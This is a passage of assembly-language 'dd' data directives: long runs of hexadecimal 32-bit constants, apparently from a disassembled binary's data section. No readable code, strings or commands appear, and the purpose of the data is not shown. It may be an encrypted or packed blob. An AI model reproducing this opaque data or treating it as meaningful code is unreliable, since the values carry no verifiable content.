0EFD53C88h, 49AAD84Ch, 2D7A7A0Bh, 1A9DCB06h dd 44257B8h, 0FC9E8FE0h, 295D3E56h, 0A45998BDh, 0F2F7E150h dd 0AFBE6709h, 0BC2B78DBh, 0C6A8B6C5h, 5C85F58Eh, 0B61B437Fh dd 0F460665h, 2AB2B401h, 0AD1F989h, 21BC76E0h, 60D753A0h dd 27F0A318h, 4FAD1ECh, 355C96Ah, 7E438686h, 2842DB51h dd 0EA47E26Ch, 4383AEF4h, 76200886h, 3CD184EEh, 0DDB045DFh dd 5628EE47h, 89DB68B3h, 4B53137h, 0FCAFAD62h, 44F6D2Dh dd 2E6DE9E5h, 80B93799h, 119112ABh, 0D83543F5h, 2AB33AD0h dd 92078EE0h, 30902CBBh, 0F8D245D0h, 4B8D59C8h, 1CF07CA9h dd 0C06548F0h, 33FD9E11h, 5E66F607h, 0F63FB669h, 0DFE2D503h dd 11EC15CBh, 0ABFE9801h, 0CAC2FDDh, 86E28F9Bh, 6D8BBF4Bh dd 0AD480DEFh, 225361BDh, 9C3D6D73h, 9639C828h, 626280A1h dd 0CD74DBEBh, 6C8A1715h, 78D5337Fh, 4D9DAB30h, 0FED5C65Fh dd 3419BCB0h, 20D75616h, 2E115E50h, 6533D8AEh, 0DFE222C9h dd 0E2C1FD8h, 0BCB988CBh, 0F49E4E1Fh, 0ED23DA7h, 6E0EEBF6h dd 0C054BFBAh, 0B0185A6Ah, 0CA61C9B6h, 557737E3h, 18EEF13h dd 4DFD92F4h, 0CB3289ADh, 4D5F1326h, 0A57D501Bh, 34EE3E20h dd 5BB8F747h, 8B20C4D8h, 3C0D0D22h, 9AA95542h, 0D84C557Eh dd 6169C53Eh, 71FE2216h, 0EBEA80A2h, 0CDC5853Fh, 0FF7DE8E9h dd 0ADF0467Ah, 0D385A663h, 0A9AB37C8h, 58045CBCh, 3A8ED59h dd 8DCE8833h, 6F585DE2h, 0E7B6BC31h, 1C99A41Bh, 35A475B0h dd 87574CE4h, 7A5B33D0h, 28AD9542h, 80A814A6h, 529D14AFh dd 1E5E9AF2h, 2EEC55EFh, 7C246C61h, 4E4AC172h, 52D07CCCh dd 0A0CD4FD2h, 0A84E12D8h, 9E6CA08Fh, 0A7119B8Ah, 0A2D4D642h dd 8B33B6DCh, 0CA127993h, 2FEEAE58h, 52CB82CCh, 41442DBh dd 3E575DEEh, 2BBA323Ah, 0E7E0E1AAh, 8D88EB20h, 0C53183E0h dd 0E27772D8h, 0FF2AB518h, 2340DF9Bh, 56106FA1h, 3F6A22EFh dd 0D90650Ah, 0E9009BB3h, 0B8817553h, 0C5E198EEh, 424B8FBBh dd 0D5DBAF7Ah, 0B67AA941h, 5760C27Fh, 0D37C1D4h, 0E4800880h dd 194B0A1Dh, 0C977198Bh, 0DC6574B3h, 0FC63565Fh, 0FE41219Fh dd 0E0513639h, 3FD7850Ch, 85C0CC13h, 75178618h, 0D8D306A0h dd 0BA2FB9F0h, 0BE5BF07Ah, 8BE42A4Bh, 9A8D2661h, 5CEBD8E3h dd 0D11D4023h, 3EB934B2h, 4976BBA2h, 0E80ECD49h, 8CBB10C0h dd 0D8C6E968h, 2A4A7730h, 90F96016h, 0ACB3B08Bh, 74E2EA10h dd 0CA1EB5AAh, 21F2F765h, 0AF911134h, 57575B3Bh, 119702A6h dd 2F38982Fh, 826BB9FDh, 1B721249h, 0C3D0E374h, 38BED980h dd 422B7C74h, 0EF042F5Ah dd 0B6CFFD25h, 0F34251E3h, 0FCA6F19Dh, 0CA54A9BEh, 0DF0C7115h dd 0F48DF918h, 4E3B2AA4h, 0D295BFA2h, 763DF27h, 0B086FEFAh dd 0DD8E1942h, 927FA2A2h, 5DC91EDDh, 0DB8BE1BAh, 7B316D20h dd 0BBD858EAh, 0B7B59118h, 19B20BD6h, 634E353Eh, 927C3588h dd 36D1C1C9h, 7CBEBE29h, 0AAFBF9EAh, 9C67D5A7h, 7C39F992h dd 5A07BF5Ah, 3C5D6CE4h, 5E6FF7Ch, 0B285076h, 0D47EDA83h dd 9A29C478h, 1AAF2A54h, 0F5C608CEh, 0EFDD752Bh, 82974033h dd 955598BDh, 9B528A6Dh, 0CA8BA01Eh, 8DA77B7Fh, 1C78B2A9h dd 6AA333AAh, 0D6B5C786h, 6C73DBE0h, 6D5BF3D9h, 982D8AAAh dd 40245C17h, 5A3B2D87h, 54640941h, 9430D4EBh, 37EBEC28h dd 9F9CD333h, 0E6BCFBE7h, 4EEADBEAh, 37CB9507h, 93F8A170h dd 0E97C80C6h, 267E8029h, 0E3907A03h, 8213AFEBh, 0D777FDE9h dd 23943D88h, 994E18D7h, 0F751BBB2h, 5BEBA890h, 0FA8101F9h dd 5B47F906h, 319D791Ah, 33587994h, 0C3CB1082h, 738B16A7h dd 0FB5BFD21h, 0ADC5F6D3h, 0D8C7E848h, 8D9F6AB5h, 20551EB0h dd 0CF3DFFB8h, 0A6268F4Bh, 427FD5Dh, 5F07228Bh, 0C9B429A2h dd 536D4766h, 40BCEA30h, 275AC990h, 0D2196442h, 0F45F4C0h dd 29503968h, 166C006Fh, 4FD9FED1h, 0C60545EEh, 0EA55138h dd 654986CBh, 63238744h, 1A5B9F82h, 2CE76A2Dh, 34D55983h dd 499A2664h, 8F1B5653h, 23306D91h, 52FD63F4h, 38A687D1h dd 0D756AB97h, 0F1CE72B2h, 15E42185h, 2FD788D3h, 74394F5Dh dd 7B838FE9h, 0B0CC402Eh, 4AF7C95Fh, 0FDF7B0BAh, 87264CBh dd 0C4FBAF72h, 522EEE94h, 3DB7E67Fh, 3C48B1FFh, 0CBA1F125h dd 0DE784BF5h, 0B955A8BEh, 0A227177h, 0A7DDDCD8h, 639193Fh dd 6B403976h, 0AA40EFD2h, 91ADF6E4h, 0CD15D170h, 8E56A815h dd 0B40EE4A0h, 1F31B1D8h, 0D04C1C58h, 0DC6E38E5h, 0F71CAF69h dd 0D5BC5DC8h, 0E0A1BF05h, 425F9ADBh, 0E8B46698h, 1853211Dh dd 0B4B6A97Dh, 593013E2h, 23E52A99h, 3DC81A5h, 1AC4A55Bh dd 0CD67CA5Fh, 9CB09A90h, 6D687DD0h, 0B277155Ch, 3BBEF757h dd 0D8493EE7h, 0D5FA7D1Ch, 0DA37EA3Eh, 486FCA46h, 0CD42130Ah dd 94663AA4h, 93BFEEACh, 933195D1h, 0F9B5E6DCh, 46938B9Eh dd 0A5073D3Bh, 92190FDFh, 0FB094E73h, 0D3DE1130h, 58C6FABDh dd 99583DBBh, 5DF79007h, 5CE597A6h, 894CD69Ah, 50D8643Fh dd 777B2015h, 4AFFF700h, 0E39B328Ah, 158B1F1Ch, 46D0637Ch dd 1E78175Ch, 0EA4A1123h, 1933F64Eh, 438DB276h, 0D6397A3h dd 38F38B81h, 0DCF2CC0Fh, 0C27A4E3Dh, 0FA989A2Dh, 2C4AE3C8h dd 569620A9h, 0F45061C2h, 0C9B442EFh, 68E0B2F2h, 7F865E46h dd 7C34247Fh, 9E23AD6Bh, 0C252F4C2h, 0CBC842Ch, 60705ED8h dd 49D4969Eh, 0ED58EE03h, 0B2D187AFh, 0F72067B8h, 17C26A85h dd 0AA10739Eh, 18F2F027h, 0EEB70868h, 79359E77h, 83E4FBB8h dd 0C895DEBAh, 736095CAh, 40942F09h, 27EA4E15h, 0A12379D2h dd 68892A11h, 34440F85h, 0AE8E83A1h, 4FB5E5D2h, 9BE8990Bh dd 3F7F0231h, 67C3B9E7h, 360228E4h, 0B45BB975h, 0F53D7C61h dd 3566700h, 0A097ADAFh, 0F4B2F6BDh, 591BA930h, 8F98D7DFh dd 0C736C7BBh, 0D4FFF72Ch, 0F9B52FAFh, 5B282D8Ch, 58DE1961h dd 2D158433h, 1673AF00h, 7B75167Fh, 137DFEADh, 0DEBFE13Fh dd 7E3FCC4Ch, 0D365AB48h, 682B83C6h, 63AD2777h, 6AC120DAh dd 7BD0E705h, 8C5A560Ah, 0DE80B4F4h, 30059F6Ah, 0FADC14h dd 0CCB7869Eh, 32041E3Ch, 0C2272126h, 11DB211Eh, 927F8C71h dd 0CFC12F10h, 0DFA143FAh, 99221DB5h, 1EC5285Eh, 0C48E90Fh dd 97F273D3h, 3F5E99A2h, 62C22EF7h, 0DEE4930Dh, 4F5E094Ch dd 0CD7EB987h, 9EE517ECh, 9DEC0F78h, 4835B984h, 0F36F1B4Bh dd 0F16F8A3Bh, 90C64C6h, 97515861h, 0DD757759h, 8A2D460Eh dd 5240BA7Fh, 4A5778B7h, 275EA5FEh, 827539F2h, 1760FB2Dh dd 70BA2874h, 72AC13C3h, 9C0F77FCh, 7F8116A8h, 0A87E6241h dd 8CE6293Ch, 0DC7277Ah, 596D24C3h, 5888C3C8h, 0FEB198Bh dd 0F12F5E67h, 0FCC21C4Fh, 69623A34h, 0F43F2102h, 0A8FBA83Eh dd 9C86E45h, 2C51552Bh, 4C68A3E3h, 37413971h, 10780B2Ch dd 1806A80Ah, 58DDF696h, 27434BD6h, 4D3F2F53h, 8ED3420Bh dd 383A9319h, 5FE9878Fh, 5B130691h, 0F85BF0A0h, 0E6E241BDh dd 7FFF2E86h, 36FE39F7h, 0FA2E4873h, 0E2A6645Ah, 0FF53D25Fh dd 77B29EC5h, 5BFB28Fh, 0E5A6FB1Fh, 0C751E65Ch, 0EFC48EA8h dd 0BFF5BA59h, 0C972682Fh, 439FA853h, 8D7423B3h, 7822DFCEh dd 5F92B873h, 0FECE8FCDh, 2000B232h, 96F8DE11h, 8F91B967h dd 78B1C20Eh, 72ADA538h, 0AA8FAD37h, 33A6AC76h, 0E5CC41FBh dd 1D1FAFE5h, 0EAC0F809h, 353F31Eh, 6346DAF9h, 52F322A5h dd 413F42D5h, 3B2C075Dh, 0EBB6CE12h, 0FF50336Dh, 0FA7AAAB3h dd 7AD325CEh, 0F28D863Ah, 1366BCCFh, 80F83593h, 4B9CCAD7h dd 0FE92BDB0h, 69D0CDDBh, 37933B7Ah, 113BFA64h, 12F5FE15h dd 8F25BE0Ah, 5FF604CFh, 0C596875Dh, 8959D12Fh, 52DB7D92h dd 0F6CF7AB4h, 6901A52Dh, 99B590C0h, 2A4B7D89h, 0E5F2FC02h dd 3DABB513h, 42C4A5F9h, 0E95665CEh, 94EF43B9h, 380BFA06h dd 1F7FB97h, 127245BCh, 77CF5362h, 738F8F4h, 9A6715B3h dd 2A7AD2B7h, 59A466F7h, 7162C49Dh, 0D5B3BC5Fh, 3B38D7D0h dd 7806E7E1h, 0FA94A780h, 121F9E56h, 762776EBh, 271E9C1Ch dd 0C5E83DF2h, 0E57A811Fh, 6A93D30Ah, 8D403A2Dh, 0B0540B13h dd 0ED3AA037h, 42D6EAFFh, 3594077Ah, 0E9A18414h, 0E2F796F7h dd 0E790B26Fh, 0FFC39A2Eh, 5E450152h, 0E0B99778h, 6A274FFEh dd 1D11DEE1h, 0E91BE464h, 0CD5B6630h, 79F410D1h, 0B7C25EB9h dd 32C3917Bh, 65A9CCD3h, 7C11A4E9h, 88550978h, 0C1177956h dd 0F2627CD1h, 495E0391h, 6C216C2Bh, 0B164AD83h, 14D36A23h dd 0B6621A61h, 0B642AF51h, 8110FB29h, 0CC95298Ah, 8DF32C3Fh dd 8999B429h, 76F6CB0Fh, 59219C2h, 7D166030h, 5054CED4h dd 1024D727h, 59741BBFh, 890A816Fh, 1A694FAFh, 0A213CB44h dd 4FC1DBABh, 6F7B49F7h, 3DEBF473h, 6E5B1928h, 0FB3893C6h dd 0DA4AE882h, 8C46DA8h, 0B9A64915h, 2E666E76h, 0A2DAEF01h dd 964E2D38h, 93CEAEC8h, 4E86F938h, 3D128BC5h, 769F6713h dd 0A0E133A5h, 23083E75h, 0AE8A8372h, 0E1DDED93h, 1601BEDFh dd 3A946D34h, 0B83547F9h, 581BFFCAh, 0C90CC4B7h, 0F1116B42h dd 0D39CD299h, 0B07E9EC5h, 0F1D63E02h, 67730FF5h, 3A6E8E80h dd 67E84FEBh, 0DD6A7ED6h, 64D0524Fh, 241A5399h, 6083EC67h dd 3668AFE3h, 0D23C4D9Dh, 9DDC4BF0h, 9B38C8DDh, 9B1015C4h dd 4CB68A9h, 0DABB7441h, 0A5CF773Dh, 6F306440h, 0E0C45DE0h dd 5BA0F653h, 89BC7109h, 0E6F46925h, 0B2E596EEh, 8EBCB49Fh dd 7164F7B8h, 4E799389h, 879440D9h, 0B90E6932h, 0D551C74Ah dd 711B84B1h, 17915C7Fh, 0BC9CEAE9h, 0C6CF7805h, 30458E59h dd 0E85B099Dh, 0D78B3702h, 900B9687h, 3964A876h, 0AB5C08EEh dd 5D7C43F3h, 0BF24F36Bh, 714B3442h, 93E9293h, 0F9CAB67Ah dd 75817909h, 0FE01B6B8h, 669B830Dh, 2743D15Eh, 0D7CC88F0h dd 8EB23037h, 506FD5E5h, 40F9EE64h, 0CEF21524h, 480FF221h dd 8F619CA9h, 0B26F14F6h, 6EFC837Fh, 4F6D9DAFh, 637D6265h dd 389F40F7h, 0AB56EEA4h, 421C802Ah, 0F015C222h, 7E9B6F32h dd 49B15E4Ah, 0FA4F521Ch dd 0DA4B0D97h, 9D106A14h, 0AF585542h, 0B82EEA83h, 0D56C3E83h dd 3FE67251h, 947D4EF3h, 82DBB9C0h, 2C82BEA1h, 1EAB7DEDh dd 919F0E33h, 47DE1F8Bh, 2A6F83FEh, 8E9B64F0h, 0CB8E1FDFh dd 0EE318F6Eh, 0F1A57230h, 0B46DD5E3h, 978133ECh, 77A56947h dd 0C33727Fh, 84E3106Eh, 0F2AB61C6h, 0FC04F95Ch, 2A3DD6B4h dd 6FEF2F3Ch, 0E1644EF0h, 0A11E52C1h, 0FDFD4D4Ch, 8CC64AD5h dd 0A3D94A1Ah, 6F445D99h, 1C797396h, 0E925CF35h, 9198ACB1h dd 40C66326h, 729F81F3h, 2FD5CF79h, 63D727CFh, 0B52B5359h dd 0DEDE31CEh, 17EABFBAh, 0E884FFFCh, 0A996E0C2h, 41944705h dd 81AA18FBh, 128337DAh, 0A40FD032h, 0FC485E97h, 8B3C9D75h dd 0A0BC8A18h, 0EC2E5FE3h, 850FE605h, 0C19F975Fh, 64898FD5h dd 1770FCA4h, 44BAF589h, 9D45E426h, 6F492998h, 1C414D72h dd 7F9BA651h, 7A3E25CEh, 0EB587425h, 0B0A1A54Ch, 6A2B9B56h dd 3A10712Fh, 314FDB6Dh, 8F52131Ah, 0F654B9C9h, 4739D5F6h dd 16E5878Ch, 417C5695h, 7E392549h, 0B7BED6CAh, 0E83AA3EAh dd 0AB343A17h, 0EEC4EA82h, 0D431C99Dh, 0D393F3ACh, 7686ACEDh dd 39BB85FFh, 3CE6F25Dh, 3D7386B6h, 0CA4BCA74h, 0C18E200Bh dd 324943A3h, 2C8DE595h, 0B16617DCh, 6D54400Ch, 0A7A5BFCCh dd 88909C6Fh, 3448E0C9h, 9653326Eh, 40BE1CA1h, 86E8BC3Eh dd 4C6B3459h, 8215931Ah, 0CCC9CDB2h, 0C9414665h, 2F2707Bh dd 6B3E8F0Bh, 86343735h, 1D06AD1Ah, 1E245455h, 0A2B683D6h dd 700BC252h, 0F3F3074Bh, 20A714A2h, 7B37B83Eh, 0D611F3B8h dd 22465D02h, 0B66D28F0h, 6A95B6Ah, 0DB291598h, 0EE89F18h dd 0F30F997Bh, 0F70BAE5Dh, 50470B9Ch, 5639A13Fh, 0A9D8CA5Fh dd 342CF68Ch, 4E178B32h, 0A03AE09Bh, 0DEB48E01h, 75811E20h dd 2AA572E9h, 0F0C1BE89h, 387900F7h, 4C74D5EEh, 9FF15583h dd 31BF9185h, 0B74F97B5h, 1F31867Ah, 0D76D942h, 0D77A2A13h dd 0BE148C4Ch, 3B96F12h, 979F11C7h, 0C6063CA5h, 0E9A35F46h dd 10174BE6h, 0E58CAE6Eh, 0F2AB0Ch, 0BB5E5720h, 55B7A034h dd 4278B75Dh, 0E7A39575h, 4C4C17EFh, 8F9F8961h, 82F68CBDh dd 4CFA6638h, 1CF83708h, 8D2DFD84h, 64C9E1CDh, 69F7A2B9h dd 0A0FA80AEh, 24D24BDFh, 0E7EDC99Bh, 5FE156FFh, 934E0035h dd 508A1A2Eh, 8F50D96Bh, 0A9A03182h, 9C8767BEh, 8FC9FAh dd 6D5546F9h, 854BDA2h, 99314893h, 9B234F76h, 0DF3785D8h dd 0A9B93698h, 9B62A293h, 2809F8BEh, 7388E5DFh, 99D700D4h dd 0DE4031E5h, 53DECC42h, 0E0A60B7Dh, 4BC87047h, 6BF9D5FFh dd 0F22AF37Ch, 0D6F13935h, 898D1F0Ch, 0D8C20368h, 0D4393DB7h dd 0D8AA2230h, 0B31521E8h, 22A0FE8Ah, 0FDB5BE19h, 8F831DD2h dd 750970F3h, 479B1F2Fh, 0D3E36C8h, 7CBE11E0h, 0FC7DFC76h dd 0E3972147h, 0FB62C685h, 3F511A14h, 246EC09Bh, 0D11F3B18h dd 0B7FA788Ch, 0C638A45Fh, 87C5EFA9h, 0FEB909B1h, 0AF1CAE9h dd 376B9198h, 4BFC4A3Dh, 6CE1B77Ah, 0FC1DE6A4h, 87B2709Bh dd 0A05DD8B5h, 6243B8E4h, 0CF819C39h, 0D072F491h, 0F7FC525h dd 0FEDF356h, 76A7E16Fh, 0F3F25C82h, 0B1811EFAh, 0EBDC4AAh dd 0FD75DCABh, 0CDFDE072h, 0CBF0995Bh, 2A0DAE35h, 0D14C96E1h dd 0A830B40h, 52956C54h, 9EAD371Ch, 0AA3A2CE7h, 28D4015Fh dd 7FFEAC52h, 2C754921h, 23C70E74h, 611D17AAh, 2D873AADh dd 4FA1B97Eh, 23CA6BA7h, 0E15E88A8h, 0C5E3B00Eh, 0ED698058h dd 0CB6C0EA1h, 0BE923F74h, 9C963146h, 16E55382h, 0CC06CFFEh dd 0CC952E5h, 3872ED30h, 0AB9A6A08h, 0E86FB2EEh, 5D7D305h dd 500687A5h, 4DBC70EBh, 0D40FDC46h, 0C6F1CF30h, 804924EEh dd 8FC8FED8h, 90532224h, 0EB4CA9B7h, 0A61C9B3Dh, 3CF9E2DDh dd 46340775h, 7BFD0361h, 0BF382015h, 0D9879D6Bh, 23EB3255h dd 0A5EDC536h, 883F93D4h, 1703BF07h, 46010243h, 0CCBE99CDh dd 0D67FDFCh, 157180BEh, 4AD408C1h, 1C855748h, 0A74CE4C3h dd 89C8552Bh, 0FF3AB03Ah, 63BC11Fh, 912E7CAFh, 8E2B0CD5h dd 7B7F98F9h, 5666E8Bh, 68759DDCh, 0ECF58ADAh, 49E7B03Fh dd 30638CB0h, 7A6E0446h, 62A35E33h, 0FFC32098h, 544A7C83h dd 3B539E4Dh, 7BEEE750h, 44EABEC1h, 6C4D8FD7h, 1A459D9Eh dd 82A213DCh, 0F1694838h, 17FEF5C9h, 0FDCE709h, 7343FBF1h dd 4035F11Fh, 0B917EF0Ah, 0AA87F3AAh, 26F0E137h, 0B5D31981h dd 8D3A6B2Eh, 82FEFEE8h, 0F26F9F8h, 0B882ADB8h, 5F78DF3Ah dd 0B44CDE2Fh, 4E37A3EAh, 0DBEBEA73h, 98587F82h, 8146335Dh dd 201F671Eh, 7AC81A5Ah, 0CBBFB373h, 0DB05C6EFh, 77E2A917h dd 4D279D9Eh, 0AAFE1E70h, 0A9ABCEE8h, 0F36E8210h, 0B60B9BB4h dd 8163C7FBh, 876CA2A2h, 6EECBB15h, 1B0D015Ah, 4534CFC9h dd 2F6DF752h, 0F7B50AACh, 0B1DE9F6Ah, 0BBE6AC0Bh, 4D529FAEh dd 0D62C7F01h, 47370159h, 88D2AE8h, 0FED54AA7h, 0DBB6F572h dd 0A1FF9D3h, 0D9C48FFEh, 0F054D508h, 92387B98h, 38B199B7h dd 0BCF68FADh, 7693F824h, 11F9FFB3h, 0A4D2E75Fh, 0AC04240Ch dd 0F3DAD37Eh, 60959892h, 45E8559Fh, 7E09A2Eh, 51C6F7A6h dd 1CC3F713h, 3F8E458Ch, 5BE381C2h, 0B425B77Bh, 90D163F0h dd 6BE7E19Ah, 0DE4C6A06h, 50C22AF6h, 44374D3Eh, 16FC5242h dd 4B34203Ah, 0D5C8D931h, 98A0F4D3h, 0F1F2E476h, 5E28FA99h dd 6DBF25FEh, 0AD658E05h, 624FDF57h, 2A9D5E4Dh, 2E464C66h dd 13FCA0F8h, 45008D91h, 87B31D08h, 0B9A39B0Dh, 0DEB3C9A5h dd 308ECE43h, 4A7F53FDh, 95F42B2Ch, 75BCC8B2h, 98FC132Ah dd 0CA10B0CDh, 1B96898Fh, 12BF641h, 9F822FD9h, 8232A918h dd 4E147882h, 7B3BBA6Ah, 0B3525C91h, 0B7E3CBE3h, 49F75ED8h dd 0E7750147h, 0EAE90C1Ch, 60C1DB81h, 0B5E697AAh, 608EFAD6h dd 545B5307h, 0B7C02E1Dh, 37560F2Bh, 3279F4F3h, 9C7D68AEh dd 8BBEC02Bh, 6E820DB0h, 18C599BBh, 4DAAD78Ah, 368D4CCFh dd 96CCE9D4h, 2008C243h, 0E6696365h, 4810EFB1h, 46362430h dd 9F3971EAh, 3B5B7D06h, 85825ED9h, 0A31BF41Dh, 1199EA78h dd 0B4A21873h, 0F23FC3F1h, 97A47295h, 5244D4BFh, 0DFAA4F71h dd 2D4BB90Bh, 0ADDCA74Ch, 13601B77h, 0D32DFDE5h, 6A09A0A4h dd 96FB9BF0h, 0A2596779h, 0B58D807h, 3952758Ch, 896A9C0h dd 81A8E9D7h, 3FFE4ACDh, 213AF9E0h, 573B72E2h, 696DB839h dd 543820C5h, 0D0C14485h, 3C92EDFCh, 7F5065B3h, 32FEF562h dd 0C36521DBh, 7CC88C5Eh, 0C2C70E38h, 368DAD34h, 8F690A3Ch dd 7B74FDDFh, 913F80A3h, 8C661D27h, 0E74B48EBh, 0BD8F568Dh dd 0B6223F18h, 6A76AF87h, 3ADF76B9h, 820056C4h, 2891BEBh dd 7E44D69Ah, 6242D28Ah, 0E0F5F625h, 9E652603h, 3A670B3Dh dd 0C818523h, 33FD1878h, 36813F1Ah, 40C64F8Fh, 46911728h dd 0EB4E0D46h, 4A143153h, 0A18F42CCh, 43769AFDh, 13E308DDh dd 61C974ACh, 0BE1755DBh, 1F5CFD35h, 0DE2CAE3Ch, 611E3F1Ch dd 0A5DC70EFh, 49A79A9Dh, 0D993DF36h, 0A08FF247h, 62AD26D7h dd 1B3D8192h, 0BC886309h, 91E77261h, 367ADA0Ah, 1AFB3DF1h dd 2D1DF1C5h, 0B8A318B6h, 4BB0238h, 0F8E919CEh, 1CD3D3EBh dd 0C19ACA17h, 3E93CAAEh, 1C502EE0h, 3C9FEF57h, 780B1140h dd 6E798BCh, 6D62469Fh, 500086C9h, 5805CD43h, 0E3686E54h dd 0E7A8D482h, 965EA1ECh, 577834Ch, 0C91E2659h, 1D49D819h dd 42531BD6h, 0F5C19F0Ch dd 112EF089h, 68AD6195h, 4B0CD87Bh, 76BB431Eh, 81A433AFh dd 0DA4CD44Eh, 71FC58F3h, 19C65FE6h, 194B9525h, 2FD28237h dd 2048279Ah, 501C1163h, 307C63BAh, 7BE79B75h, 0C921A077h dd 7494E3B5h, 7D38558Eh, 2836587Ah, 8494DB74h, 83709515h dd 0C18681E5h, 7645405Ch, 96323BF2h, 9EB45444h, 76A10B57h dd 0F84E21B1h, 0EF974D23h, 6F17810Ah, 0FD22EE29h, 0F8F72B33h dd 1E43C697h, 5A3F0Fh, 6B145761h, 3322EBE0h, 0A09DD166h dd 830662Dh, 4509C742h, 610F327Dh, 3502095Bh, 6563CCECh dd 429AD249h, 50C98DF4h, 0D8255629h, 6C5D923h, 0D9EA04Ah dd 8DD9B7AEh, 0F76BDC35h, 9225526Ah, 50691AA1h, 44996D92h dd 0C0405777h, 51BD05B0h, 261654F1h, 408F8846h, 22E3E377h dd 7D160B6Dh, 0DA96C2EAh, 0E12A593Bh, 8E517DECh, 8F903FEEh dd 0E073FF8Ah, 0EFDEB958h, 0A1C62D39h, 7D1E72D1h, 597FB65Fh dd 0DBA8D88Ch, 0E089D533h, 80B22813h, 0FFEBE40Eh, 30B8EE3Eh dd 3FC44EAh, 0F1265D30h, 0DB9D3074h, 0E5E29B52h, 0C1F05FADh dd 0FF583B3h, 0AA1926E4h, 0D1658A18h, 0EEF72059h, 5126D146h dd 0FA2D3DFh, 82BF92B1h, 8D2AEE25h, 84AED463h, 0E60C0B4Eh dd 347EC75Bh, 82A0CB4Ch, 5CF3D645h, 0D986F447h, 80423027h dd 0C7AEB53Bh, 0CCDAD858h, 0B66465A6h, 2DA2CBA8h, 0E2865C1Ch dd 685BA392h, 8F46C197h, 0D38091B4h, 3EBEBC2h, 1921863h dd 3BA53676h, 2BD6E854h, 9D4DBEA1h, 45FEA6D5h, 5E4DF909h dd 47C3FF62h, 8D976A47h, 85EBF7FFh, 65D80AA3h, 0DBDF4099h dd 9AD534EFh, 21E6AE8Fh, 0EE690C80h, 0DC185037h, 1D72757Ah dd 0AC4F20DDh, 48C051Eh, 0F02700CEh, 0D83FB3F3h, 134856F7h dd 0E26F4B93h, 6C6A16h, 0D35C279h, 4289BC99h, 0E44C6D5h dd 8492F779h, 1081B755h, 9A134BA3h, 0FAC9D2D2h, 2E34AAFBh dd 5792B327h, 52B8B654h, 3D09041Bh, 60CA2E29h, 77A95F6Bh dd 746010ECh, 0D332C3BCh, 5D53CDECh, 0BBC9DCB5h, 27CC1711h dd 5FCE4357h, 174BA18Ah, 0DA5A9EDEh, 5F6EDD4Eh, 11C75DE2h dd 0C22FCBBBh, 8D58E0F0h, 6ADEA479h, 93958420h, 0E61AC061h dd 20B7E622h, 8CD21BEDh, 50937A20h, 2D8EDAA7h, 5C7319B6h dd 9A3F76E5h, 1ADDE4D5h, 5B40F347h, 99E8D763h, 45C9D946h dd 5BD1F651h, 14A9FDACh, 0EBFB7DC1h, 91221D6Bh, 9CFC2D91h dd 98A54A6Eh, 0B38718DFh, 0F92FE935h, 79426D6Eh, 2EBA193Ah dd 0B5AAA521h, 26F821EEh, 9E849309h, 0C0EF0EECh, 22D88EEEh dd 90AB7376h, 1EBB5EBh, 0FA6D9DE4h, 3AA91869h, 0D9F4EFBFh dd 0DB1655FBh, 0C6DEB046h, 0F52517D6h, 0EB0D9A3Ch, 0A4C8C9CBh dd 0FA509810h, 3980DD6Fh, 2C189773h, 438A8607h, 7EE21CBDh dd 75137357h, 552ADAB5h, 607343C7h, 859FC6B8h, 0B853120Eh dd 0C8159B9Fh, 0D10C7B24h, 5293E171h, 45778866h, 0C6D8F2A8h dd 0D3170707h, 0CB4E9ECBh, 11C6E516h, 0BA731066h, 0F4DC66EAh dd 81ACC0BDh, 0F4C8ABFEh, 6DD27048h, 0EF254D6Bh, 0AAAFEA2Ah dd 69615A72h, 665434F2h, 6CB1338Bh, 7603872h, 246D48F6h dd 60561610h, 4FD7AF13h, 7ECAB88Dh, 0D72678B3h, 83474C35h dd 0D8A38E63h, 0FC419FDCh, 4100FF35h, 1562AC2Dh, 0AAEC4120h dd 89E89359h, 0BDB9882Ch, 5CA8EB0Bh, 5B12E97Bh, 52AD5767h dd 64C875B4h, 10211BC1h, 7893D251h, 5C2557D5h, 0F6F95C59h dd 20E088FAh, 83F7590Ch, 418CC4C9h, 7844F9E1h, 0D4A89B81h dd 1EC190FDh, 0CC110CADh, 3155FEA4h, 30561BC3h, 7F6EE884h dd 1EE7282Ch, 207245EAh, 0D60D7A1h, 512862FEh, 0A9B7772Bh dd 2A79834Ah, 7D1DBFADh, 0C7DC587Dh, 2FFF3597h, 0D40EECD5h dd 0F6BEA061h, 0D1DA787Dh, 6115CF2Ah, 0A9E654A5h, 10169C7Ah dd 267D7AB4h, 0FE35918Ch, 83F75BFh, 90CC0C95h, 0F94A73AFh dd 3666DE3Ch, 0CD817BC6h, 5159AD27h, 3FB42D28h, 54E1AD9Dh dd 707EB7C0h, 51365AFh, 60BFFD35h, 164A962Eh, 0DBEEA07Eh dd 4799C81Ch, 7C2DD8E8h, 0C9A0F687h, 0E3498CABh, 308EF27h dd 0F0352013h, 0A75E9565h, 0E97616A2h, 0F82CC1FDh, 4FB675Ch dd 0AAD87F83h, 0F60A6C55h, 6FD91DE9h, 0B96813A9h, 0FDD487E2h dd 0C7EE75E8h, 81B97D02h, 0AA2C918Dh, 66DD1034h, 20EC695Ch dd 57E2198Eh, 21BBF5Fh, 0D76A3A9Fh, 7A636BA5h, 0F721D7A8h dd 0ACEBD4BAh, 0B95BF87Ah, 727FDED0h, 2303836Ch, 1A214331h dd 0B41FC3BFh, 5CE025D2h, 8D7BCB2Ah, 54ECB0D1h, 63C61C38h dd 2B368269h, 0C624B405h, 0E5B4DC97h, 0C6E3743Ah, 0C1BAAF23h dd 0D88E0CB3h, 0F7E1B87Ch, 5059EC00h, 310F2780h, 61F173B6h dd 0A75E966Ah, 0CB425956h, 0F45A255Fh, 466926A3h, 253CAEE5h dd 0AC621F05h, 4B4AC4FDh, 7E06EA75h, 26C711D6h, 3356D40Ah dd 0BB81BE30h, 0CB9409CEh, 0D0623A79h, 5C27B411h, 6BE4A3BAh dd 1445538Ch, 20EFBFAEh, 0D5376399h, 0AFFC9925h, 8CB62A77h dd 5B3291B0h, 63F48D22h, 132DC71Ch, 0BD03AFD5h, 64AF5A93h dd 8ED5CA00h, 76F45D70h, 796E22ABh, 0F72287EDh, 33E4490h dd 3A0FF664h, 41DB717Dh, 29B635FAh, 2D14C917h, 0C2189319h dd 24C55882h, 454A97ABh, 189163B6h, 767A0FFCh, 33C48FAFh dd 0E23633C0h, 85DC3BE4h, 1277CF4Ch, 17BC2518h, 0F8D9FBA9h dd 0F0E30727h, 756B372Fh, 0F639719Ah, 8614F880h, 1997ECA3h dd 976BBAB8h, 980FCF9Fh, 4D0F102h, 543B3063h, 0B99761D3h dd 524884BAh, 0A38EDCEBh, 90524706h, 